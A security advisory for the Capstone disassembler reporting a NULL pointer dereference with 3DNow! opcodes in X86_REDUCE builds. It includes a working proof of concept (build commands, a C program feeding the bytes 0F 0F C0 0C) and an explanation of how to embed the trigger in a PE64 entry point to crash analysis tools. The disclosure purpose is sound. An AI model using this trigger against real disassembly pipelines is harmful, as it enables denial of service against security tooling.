Skip to content

NULL Pointer Dereference with 3DNow! opcodes

Moderate
Rot127 published GHSA-289w-cm54-fgrm May 19, 2026

Package

No package listed

Affected versions

6.0.0-Alpha5

Patched versions

None

Description

Summary

NULL pointer dereference in modRMRequired() and decode() when disassembling 3DNow! opcodes (0F 0F) in builds compiled with -DCAPSTONE_X86_REDUCE, allowing a remote attacker to crash any application using the reduced X86 Capstone library by supplying a crafted input containing the 4-byte sequence 0F 0F <modrm> <imm8>.

Details

  • Vulnerable path: readOpcode() in arch/X86/X86DisassemblerDecoder.c:905-914 unconditionally sets insn->opcodeType = THREEDNOW_MAP when the byte sequence 0F 0F is encountered. However, modRMRequired() at line 96-139 only handles THREEDNOW_MAP inside a #ifndef CAPSTONE_X86_REDUCE guard. In a REDUCE build the default: break path is taken, leaving indextable = NULL. The subsequent dereference indextable[insnContext] at line 139 causes a SIGSEGV.
  • Secondary crash site: decode() at lines 157-236 has the identical #ifdef asymmetry, the THREEDNOW_MAP case is guarded by #ifndef CAPSTONE_X86_REDUCE, so dec stays NULL and switch(dec->modrm_type) at line 236 dereferences NULL.
  • Call chain: cs_disasmX86_getInstructiondecodeInstructionreadOpcode (sets THREEDNOW_MAP) → getIDgetIDWithAttrMaskmodRMRequired → NULL deref → crash.
  • The crash occurs inside the decode pipeline before cs_disasm() can return failure, so CS_OPT_SKIPDATA and cs_disasm_iter() do not mitigate the issue.
  • Affected build tested: git describe → 6.0.0-Alpha5-34-g9a0a1607 (Capstone 6.0.0 build) with -DCAPSTONE_X86_REDUCE=ON.

PoC

Reproduces NULL pointer dereference / SIGSEGV on any platform with the REDUCE build:

# Build Capstone with X86_REDUCE enabled
cmake -B build-reduce -DCAPSTONE_X86_REDUCE=ON \
  -DCMAKE_BUILD_TYPE=Debug
cmake --build build-reduce -j4
// simple_repro.c
#include <stdio.h>
#include <capstone/capstone.h>

int main(void) {
    csh handle;
    cs_insn *insn;
    size_t count;

    // 0F 0F = 3DNow! escape, C0 = ModRM (mm0,mm0), 0C = opcode suffix (PI2FW)
    uint8_t code[] = { 0x0F, 0x0F, 0xC0, 0x0C };

    if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle) != CS_ERR_OK) {
        fprintf(stderr, "cs_open failed\n");
        return 1;
    }

    // Crashes here in REDUCE build — NULL deref in modRMRequired()
    count = cs_disasm(handle, code, sizeof(code), 0x1000, 0, &insn);

    if (count > 0) {
        cs_free(insn, count);
    }
    cs_close(&handle);
    return 0;
}
# Compile and run
clang -Iinclude simple_repro.c build-reduce/libcapstone.a -o simple_repro
./simple_repro
# => SIGSEGV at X86DisassemblerDecoder.c:139

Impact

  • Vulnerability: NULL pointer dereference (CWE-476) causing guaranteed process crash (DoS). No memory corruption but reliable and unavoidable once the trigger bytes are decoded.
  • Who is impacted: Applications and tools that link Capstone built with -DCAPSTONE_X86_REDUCE and disassemble untrusted x86/x86-64 input. Likely consumers include WASM-compiled browser disassembly tools, embedded/IoT firmware scanners, kernel-mode drivers (where a NULL deref causes BSOD — escalating from process DoS to host DoS), and automated malware analysis pipelines. The trigger is a 4-byte sequence that can be embedded in any file format containing machine code (PE, ELF, Mach-O, raw shellcode).

An attacker can weaponize this for DoS by embedding the trigger sequence at a predictable disassembly start point in a crafted binary. For example, in a PE64 executable, setting AddressOfEntryPoint to the base of .text and placing 0F 0F C0 0C at that offset ensures both entry-point-driven recursive descent and linear sweep disassemblers will decode the trigger as their first instruction. The crash occurs inside the decode pipeline before cs_disasm returns, so the calling application has no opportunity to handle the failure gracefully. Any automated analysis tool performing disassembly on untrusted binaries with a REDUCE-build Capstone will hit this on the first instruction fetch.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-47143

Weaknesses

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.